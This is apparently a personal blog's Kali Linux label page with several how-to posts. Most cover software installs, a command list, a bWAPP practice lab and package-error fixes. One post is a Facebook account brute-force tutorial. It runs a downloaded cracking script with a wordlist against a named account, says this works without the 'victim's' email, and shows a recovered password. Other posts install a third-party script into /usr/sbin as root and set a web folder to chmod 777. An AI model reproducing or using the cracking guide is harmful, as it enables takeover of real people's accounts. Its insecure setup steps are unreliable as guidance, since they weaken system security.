Showing posts with label KALI LINUX. Show all posts
Showing posts with label KALI LINUX. Show all posts

How to Install Flash in Kali Linux






 

How to Install Flash in Kali Linux


Adobe Flash in Kali Linux
This is a small guide with instructions that users can copy paste and make Flash work in their Kali Linux. Copy paste supported instruction to make life simpler.
There’s two different ways you can install flash in Kali Linux:
  1. Install Flash from Repository – Usually works
  2. Install Flash Manually – For the rest failed at step 1
Now lets move on to instructions …
Contents [hide]
  • How to Install Flash in Kali Linux
    • Choice 1: Install  Flash from Repository:
    • Choice 2: Install Flash Manually
      • Step 2.a: Download the latest Flash Player archive
      • Step 2.b: Untar archive and install
    • Testing
    • Google+
    • Related

Choice 1: Install  Flash from Repository:

This is fairly simple and easy and should work from most people out there:
In the terminal:
apt-get install flashplugin-nonfree
and then type in:

update-flashplugin-nonfree --install
That’s it. You flash should be working as expected. Go to testing section at the bottom on this post to confirm installation.

Choice 2: Install Flash Manually

In case you tried Choice 1 and failed, try this steps below to install and activate Flash manually.

Step 2.a: Download the latest Flash Player archive

Launch your browser (I assume IceWeasel?) and download the Flash Player in a separate folder.
At the time of writing this guide the available version was install_flash_player_11_linux.x86_64.tar.gz
Download and save the file in /root directory.
Users should take note that the version used in this guide is x64 which is 64-bit. 32-bit users should choose their versions accordingly.
Download link = HERE
(Note: Choose Version to download tar.gz for other Linux)

Step 2.b: Untar archive and install

Follow the instructions below:
cd Downloads/
tar xzvf install_flash_player_11_linux.x86_64.tar.gz
cp libflashplayer.so /usr/lib/mozilla/plugins/

That’s it. Those who failed at choise 1, should be able to do this fairly easily. Now move on to ttesting to confirm flash is working as expected.

Testing

First of all, close your browser and re-open.
Many users actually forgets to do this step and later complains Flash ain’t working.
My advise is to bookmark this site to be able to reopen these instructions quickly, or simply copy these into a leafpad/vi/text file.
Go to following website to test if you have Flash player:
http://helpx.adobe.com/flash-player/kb/find-version-flash-player.html
NOTE: Adobe now serves an older version of Flashplayer for Linux. So the above page gives an error…. But just go to Youtube and if you can see a video properly, that means Flash is working as expected. THATS IS UNFAIR!! (Updated: 18/12/2013)
Hang on a second, the main reason you installed Flash is to watch youtube videos, so try that too.
Now that you have Flash, follow this guide guide to enable Java support for your browser in Kali Linux How to Install Java JDK in Kali Linux.
Thanks for reading. Please share.

How to Install Java JDK in Kali Linux


1. Download the latest Java SE SDK version. 

Download Java SDK


At the time of writing the filename and version was jdk-7u45-linux-x64.tar.gz


2. Untar the Archive

jdk-7u45-linux-x64.tar.gz
mv jdk1.7.0_45 /opt
cd /opt/jdk1.7.0_45

3.This step registers the downloaded version of Java as an alternative, and switches it to be used as the default:


root@lhackg~# update-alternatives --install /usr/bin/java java /opt/jdk1.7.0_45/bin/java 1

root@lhackg~# update-alternatives --install /usr/bin/javac javac /opt/jdk1.7.0_45/bin/javac 1
root@lhackg~# update-alternatives --install /usr/lib/mozilla/plugins/libjavaplugin.so mozilla-javaplugin.so /opt/jdk1.7.0_45/jre/lib/amd64/libnpjp2.so 1
root@lhackg~# update-alternatives --set java /opt/jdk1.7.0_45/bin/java
root@lhackg~# update-alternatives --set javac /opt/jdk1.7.0_45/bin/javac
root@lhackg~# update-alternatives --set mozilla-javaplugin.so /opt/jdk1.7.0_45/jre/lib/amd64/libnpjp2.so

4. TestTo check the version of Java you are now running


java -version


To check the browser plugin browse to site and click “Do I have Java?”

How to Create your own PC server in Kali Linux


We need to set the server:
1. Apache2
2. Php
3. MySQL
4. PhpMyAdmin
I have already installed these programs, From here you can install link 
go to PhpMyAdmin enter http://127.0.0.1/phpmyadmin and create a new user

create user
User created
Check the User


Now create a new database
now edit privileges my new users
Choose our new database
after  select all values
We should give our external IP address of the foreign customers, ex. myip find
0.0.0.0/test.html
finish done...!!! 
next step...
If the network is a two-Users 
Nat to put together our modem and open the Port, open browser and go to 192.168.0.1 <- modem address
TP-Link router default user and password : admin, admin
Internal IP address to find method use:
root@lhackg~# ifconfig and result show eth0 or wlan0 192.168.-.-
heppy done...

A-Z of Kali Linux commands

A-Z of Kali Linux commands are here below:

a

apropos Search Help manual pages (man -k)
apt-get Search for and install software packages (Debian)
aptitude Search for and install software packages (Debian)
aspell Spell Checker
awk Find and Replace text, database sort/validate/index

b

basename Strip directory and suffix from filenames
bash GNU Bourne-Again SHell
bc Arbitrary precision calculator language
bg Send to background
break Exit from a loop
builtin Run a shell builtin
bzip2 Compress or decompress named file(s)

c

cal Display a calendar
case Conditionally perform a command
cat Concatenate and print (display) the content of files
cd Change Directory
cfdisk Partition table manipulator for Linux
chgrp Change group ownership
chmod Change access permissions
chown Change file owner and group
chroot Run a command with a different root directory
chkconfig System services (runlevel)
cksum Print CRC checksum and byte counts
clear Clear terminal screen
cmp Compare two files
comm Compare two sorted files line by line
command Run a command - ignoring shell functions
continue Resume the next iteration of a loop
cp Copy one or more files to another location
cron Daemon to execute scheduled commands
crontab Schedule a command to run at a later time
csplit Split a file into context-determined pieces
cut Divide a file into several parts

d

date Display or change the date & time
dc Desk Calculator
dd Convert and copy a file, write disk headers, boot records
ddrescue Data recovery tool
declare Declare variables and give them attributes
df Display free disk space
diff Display the differences between two files
diff3 Show differences among three files
dig DNS lookup
dir Briefly list directory contents
dircolors Colour setup for `ls'
dirname Convert a full pathname to just a path
dirs Display list of remembered directories
dmesg Print kernel & driver messages
du Estimate file space usage

e

echo Display message on screen
egrep Search file(s) for lines that match an extended expression
eject Eject removable media
enable Enable and disable builtin shell commands
env Environment variables
ethtool Ethernet card settings
eval Evaluate several commands/arguments
exec Execute a command
exit Exit the shell
expect Automate arbitrary applications accessed over a terminal
expand Convert tabs to spaces
export Set an environment variable
expr Evaluate expressions



f
false Do nothing, unsuccessfully
fdformat Low-level format a floppy disk
fdisk Partition table manipulator for Linux
fg Send job to foreground
fgrep Search file(s) for lines that match a fixed string
file Determine file type
find Search for files that meet a desired criteria
fmt Reformat paragraph text
fold Wrap text to fit a specified width.
for Expand words, and execute commands
format Format disks or tapes
free Display memory usage
fsck File system consistency check and repair
ftp File Transfer Protocol
function Define Function Macros
fuser Identify/kill the process that is accessing a file

g

gawk Find and Replace text within file(s)
getopts Parse positional parameters
grep Search file(s) for lines that match a given pattern
groupadd Add a user security group
groupdel Delete a group
groupmod Modify a group
groups Print group names a user is in
gzip Compress or decompress named file(s)

h

hash Remember the full pathname of a name argument
head Output the first part of file(s)
help Display help for a built-in command
history Command History
hostname Print or set system name

i

iconv Convert the character set of a file
id Print user and group id's
if Conditionally perform a command
ifconfig Configure a network interface
ifdown Stop a network interface
ifup Start a network interface up
import Capture an X server screen and save the image to file
install Copy files and set attributes

j

jobs List active jobs
join Join lines on a common field

k

kill Stop a process from running
killall Kill processes by name

l

less Display output one screen at a time
let Perform arithmetic on shell variables
ln Create a symbolic link to a file
local Create variables
locate Find files
logname Print current login name
logout Exit a login shell
look Display lines beginning with a given string
lpc Line printer control program
lpr Off line print
lprint Print a file
lprintd Abort a print job
lprintq List the print queue
lprm Remove jobs from the print queue
ls List information about file(s)
lsof List open files

m

make Recompile a group of programs
man Help manual
mkdir Create new folder(s)
mkfifo Make FIFOs (named pipes)
mkisofs Create an hybrid ISO9660/JOLIET/HFS filesystem
mknod Make block or character special files
more Display output one screen at a time
mount Mount a file system
mtools Manipulate MS-DOS files
mtr Network diagnostics (traceroute/ping)
mv Move or rename files or directories
mmv Mass Move and rename (files)

n

netstat Networking information
nice Set the priority of a command or job
nl Number lines and write files
nohup Run a command immune to hangups
notify-send Send desktop notifications
nslookup Query Internet name servers interactively

o

open Open a file in its default application
op Operator access

p

passwd Modify a user password
paste Merge lines of files
pathchk Check file name portability
ping Test a network connection
pkill Stop processes from running
popd Restore the previous value of the current directory
pr Prepare files for printing
printcap Printer capability database
printenv Print environment variables
printf Format and print data
ps Process status
pushd Save and then change the current directory
pwd Print Working Directory

q

quota Display disk usage and limits
quotacheck Scan a file system for disk usage
quotactl Set disk quotas

r

ram ram disk device
rcp Copy files between two machines
read Read a line from standard input
readarray Read from stdin into an array variable
readonly Mark variables/functions as readonly
reboot Reboot the system
rename Rename files
renice Alter priority of running processes
remsync Synchronize remote files via email
return Exit a shell function
rev Reverse lines of a file
rm Remove files
rmdir Remove folder(s)
rsync Remote file copy (Synchronize file trees)

s

screen Multiplex terminal, run remote shells via ssh
scp Secure copy (remote file copy)
sdiff Merge two files interactively
sed Stream Editor
select Accept keyboard input
seq Print numeric sequences
set Manipulate shell variables and functions
sftp Secure File Transfer Program
shift Shift positional parameters
shopt Shell Options
shutdown Shutdown or restart linux
sleep Delay for a specified time
slocate Find files
sort Sort text files
source Run commands from a file `.'
split Split a file into fixed-size pieces
ssh Secure Shell client (remote login program)
strace Trace system calls and signals
su Substitute user identity
sudo Execute a command as another user
sum Print a checksum for a file
suspend Suspend execution of this shell
symlink Make a new name for a file
sync Synchronize data on disk with memory

t

tail Output the last part of file
tar Tape ARchiver
tee Redirect output to multiple files
test Evaluate a conditional expression
time Measure Program running time
times User and system times
touch Change file timestamps
top List processes running on the system
traceroute Trace Route to Host
trap Run a command when a signal is set(bourne)
tr Translate, squeeze, and/or delete characters
true Do nothing, successfully
tsort Topological sort
tty Print filename of terminal on stdin
type Describe a command

u

ulimit Limit user resources
umask Users file creation mask
umount Unmount a device
unalias Remove an alias
uname Print system information
unexpand Convert spaces to tabs
uniq Uniquify files
units Convert units from one scale to another
unset Remove variable or function names
unshar Unpack shell archive scripts
until Execute commands (until error)
uptime Show uptime
useradd Create new user account
userdel Delete a user account
usermod Modify user account
users List users currently logged in
uuencode Encode a binary file
uudecode Decode a file created by uuencode

v

v Verbosely list directory contents (`ls -l -b')
vdir Verbosely list directory contents (`ls -l -b')
vi Text Editor
vmstat Report virtual memory statistics

w

wait Wait for a process to complete
watch Execute/display a program periodically
wc Print byte, word, and line counts
whereis Search the user's $path, man pages and source files for a program
which Search the user's $path for a program file
while Execute commands
who Print all usernames currently logged in
whoami Print the current user id and name (`id -un')
wget Retrieve web pages or files via HTTP, HTTPS or FTP
write Send a message to another user

x

xargs Execute utility, passing constructed argument list(s)
xdg-open Open a file or URL in the user's preferred application.
yes Print a string until interrupted

Python install PIL (Python Imaging Library) && IOError

Python install PIL (Python Imaging Library) && IOError: decoder jpeg not available
So you get PIL(Python Imaging Library) all installed on your new system and you’re feeling proud of yourself. But then you go to do some tasks involving JPEG’s and you get this horriffic error:

IOError: decoder jpeg not available

Here’s how to uninstallation PIL
On Kali Linux precise, PIL doesn't find the jpeg library files, even once they are installed. The easiest way to fix this is to make a symlink after you have installed the jpeg dev package. So, I needed an extra step:

$ pip uninstall PIL

Make sure you install at the libraries for both JPEG support and FreeType2:
$ sudo aptitude install libjpeg libjpeg-dev
$ sudo aptitude install libfreetype6 libfreetype6-dev
$ sudo apt-get install libjpeg8-dev
$ sudo apt-get install libjpeg62-dev zlib1g-dev libfreetype6-dev liblcms1-dev

Get PIL again and do the install:

for x64 OS

$ sudo ln -s /usr/lib/x86_64-linux-gnu/libjpeg.so /usr/lib
$ sudo ln -s /usr/lib/x86_64-linux-gnu/libfreetype.so /usr/lib/
$ sudo ln -s /usr/lib/x86_64-linux-gnu/libz.so /usr/lib/
$ pip install PIL

for x32 OS

$ sudo ln -s /usr/lib/i386-linux-gnu/libjpeg.so /usr/lib
$ sudo ln -s /usr/lib/x86_64-linux-gnu/libfreetype.so /usr/lib/
$ sudo ln -s /usr/lib/x86_64-linux-gnu/libz.so /usr/lib/
$ pip install PIL

Pip list error correction for Python in Kali Linux


root@Lh4cKg:~# pip list
adns-python (1.2.1)
Warning: cannot find svn location for apsw==3.7.6.3-r1
apsw (3.7.6.3-r1)
apt-xapian-index (0.45)
argparse (1.2.1)
Brlapi (0.5.7)
chardet (2.0.1)
Cheetah (2.4.4)
dissy (9)
distorm3 (3)
distribute (0.6.49)
Django (1.5.1)
Magic-file-extensions (0.2)
MarkupSafe (0.15)
MySQL-python (1.2.5)
netaddr (0.7.7)
netlib (0.9.1)
NfSpy (1.0)
numpy (1.6.2)
PIL (1.1.7)
Pillow (2.3.0)
pip (1.5)
psycopg2 (2.4.5)
pyasn1 (0.1.3)
pycrypto (2.6)
pymssql (1.0.2)
pytz (2012c)
pyusb (1.0.0a3)
PyX (0.11.1)
scapy (2.2.0)
scipy (0.10.1)
Exception:
Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/pip-1.5-py2.7.egg/pip/basecommand.py", line 122, in main
    status = self.run(options, args)
  File "/usr/local/lib/python2.7/dist-packages/pip-1.5-py2.7.egg/pip/commands/list.py", line 80, in run
    self.run_listing(options)
  File "/usr/local/lib/python2.7/dist-packages/pip-1.5-py2.7.egg/pip/commands/list.py", line 142, in run_listing
    self.output_package_listing(installed_packages)
  File "/usr/local/lib/python2.7/dist-packages/pip-1.5-py2.7.egg/pip/commands/list.py", line 151, in output_package_listing
    if dist_is_editable(dist):
  File "/usr/local/lib/python2.7/dist-packages/pip-1.5-py2.7.egg/pip/util.py", line 347, in dist_is_editable
    req = FrozenRequirement.from_dist(dist, [])
  File "/usr/local/lib/python2.7/dist-packages/pip-1.5-py2.7.egg/pip/__init__.py", line 231, in from_dist
    assert len(specs) == 1 and specs[0][0] == '=='
AssertionError

Storing debug log for failure in /root/.pip/pip.log

I think it is because the distribute package is out of date. Certainly the following fixed it for me:
root@Lh4cKg:~# sudo pip install --upgrade distribute


Done!

Kali Linux fix problem add-apt-repository ppa


Hello everyone, Today I will show you how to solve the problem of Kali Linux

How to add repository?
when we run the command : sudo add-apt-repository ppa:teejee2008/ppa

We get results "NoDistroTemplateException"

root@Lh4cKg:~# sudo add-apt-repository ppa:teejee2008/ppa
You are about to add the following PPA to your system:

 More info: https://launchpad.net/~teejee2008/+archive/ppa
Press [ENTER] to continue or ctrl-c to cancel adding it

Traceback (most recent call last):
  File "/usr/bin/add-apt-repository", line 160, in <module>
    sp = SoftwareProperties(options=options)
  File "/usr/lib/python2.7/dist-packages/softwareproperties/SoftwareProperties.py", line 96, in __init__
    self.reload_sourceslist()
  File "/usr/lib/python2.7/dist-packages/softwareproperties/SoftwareProperties.py", line 584, in reload_sourceslist
    self.distro.get_sources(self.sourceslist)  
  File "/usr/lib/python2.7/dist-packages/aptsources/distro.py", line 87, in get_sources
    raise NoDistroTemplateException("Error: could not find a "
aptsources.distro.NoDistroTemplateException: Error: could not find a distribution template

create add-apt-repository

root@Lh4cKg:~# wget http://blog.anantshri.info/content/uploads/2010/09/add-apt-repository.sh.txt
root@Lh4cKg:~# cp add-apt-repository.sh.txt /usr/sbin/add-apt-repository
root@Lh4cKg:~# chmod o+x /usr/sbin/add-apt-repository
root@Lh4cKg:~# chown root:root /usr/sbin/add-apt-repository






happy done!

BWAPP Pentest Lab Installation on Kali Linux


  installation requirements

  • Web server
  • PHP
  • MySQL

installation step by step

download bwapp pentest lab and save directory /var/www

  • Extract file 
    • root@Lh4cKg:~# unzip /var/www/bWAPP.zip
  • Give full permission to the
    • root@Lh4cKg:~# chmod -R 777 /var/www/bWAPP
  • Edit the file 'bWAPP/config.inc.php' with your own database connection settings.

                          
    • root@Lh4cKg:~# vim /var/www/bWAPP/config.inc.php
    • $db_server = "localhost"; // your database server (IP/name), here 'localhost'
    • $db_username = "root";  // your MySQL user, here ' '
    • $db_password = "toor";  // your MySQL password, here ' '
  • Browse to the file 'install.php' in the directory 'bWAPP'.
    • http://localhost/bWAPP/install.php
  • Click here to install bWAPP.
    • The database 'bWAPP' will be created and click login button
  • Login with the default username and password or make a new user.
    • default username/password: bee/bug
  • You are ready to explore and exploit the bee!
This project is part of the ITSEC GAMES project. ITSEC GAMES are a fun approach to IT security education. IT security, ethical hacking, training and fun... all mixed together.
Enjoy!

How to Install Conky manager in Kali Linux

Conky manager


We will need to download a "*.deb" file conky manager. Download Link here  Or download it from the terminal  and install conky-manager.

1. 32-bit

 root@Lh4cKg:~# wget https://launchpad.net/~teejee2008/+archive/ppa/+files/conky-manager_1.2.0.1_i386.deb
2. 64-bit
 root@Lh4cKg:~# wget https://launchpad.net/~teejee2008/+archive/ppa/+files/conky-manager_1.2.0.1_amd64.deb



install conky 64-bit

root@Lh4cKg:~# chmod +x conky-manager_1.2.0.1_amd64.deb
root@Lh4cKg:~# dpkg -i conky-manager_1.2.0.1_amd64.deb
root@Lh4cKg:~# apt-get install python-wnck
root@Lh4cKg:~# apt-get install -f

screenshot

run conky manager -> application > accessories >conky manager




Done!

How to learn facebook hacking? facebook hacking Brute force python scripting

hello all, how to learn facebook hacking?
 facebook hacking  Brute force python scripting

We need a tool:

1. Python Script - facebook.py
2. Wordlist - e.g. pass.txt or wordlist.txt

I have already installed python or Install python after installing

step 1.

[*] root@lhackg:~#apt-get install python-mechanize







step 2.

now downloading facebook.py

[*] root@lhackg~# chmod +x facebook.py
[*] root@lhackg:~# python facebook.py

Note: - This tool can crack facebook account even if you don't have the email of your victim
# Hit CTRL+C to quit the program
# Use www.graph.facebook.com for more infos about your victim ^_^
# Enter |Email| |Phone number| |Profile ID number| |Username| : lhackg.lhackg  << my facebook username
[*] Enter the name of the password list file :/root/Desktop/pass.txt << my wordlist localate
        +=======================================+
        | . . . . . . . . . . . . . Facebook Cracker v 2 . . . . . . . . . . . .  . |
        +--------------------------------------------------------------------+
        |#Author: Mauritania Attacker                                             |
        |#Contact: www.fb.com/mauritanie.forever                          |
        |#Date: 02/04/2013                                                            |
        |#This tool is made for pentesting.                                        |
        |#Changing the Description of this tool                                 |
        |Won't made you the coder ^_^ !!!                                     |
        |#Respect Coderz ^_^                                                        |
        |#I take no responsibilities for the                                        |
        |  use of this program !                                                        |
        +=======================================+
        | . . . . . . . . . . . . . . Facebook Cracker v 2 . . . . . . . . . . . . . |
        +--------------------------------------------------------------------+

 [*] Account to crack : lhackg.lhackg
 [*] Loaded : 17 passwords
 [*] Cracking, please wait ...
 [*] trying blogspot..

 [*] Password found .. !!

 [*] Password : blogspot
yeppy done!

HOW TO Install Python 3.3.2

Install Python3.3.2

open Terminal window
1. Downloading Python3.3.2
    wget http://python.org/ftp/python/3.3.2/Python-3.3.2.tgz && tar -xvf Python-3.3.2.tgz
2. cd Python-3.3.2
3.  ./configure
4. make
5. sudo make altinstalla

run:
To run the Python2.7 version, just type python at the shell prompt. To engage the new version.. type python3.3

Install Python3 IDLE
open terminal   

[1] sudo apt-get install idle3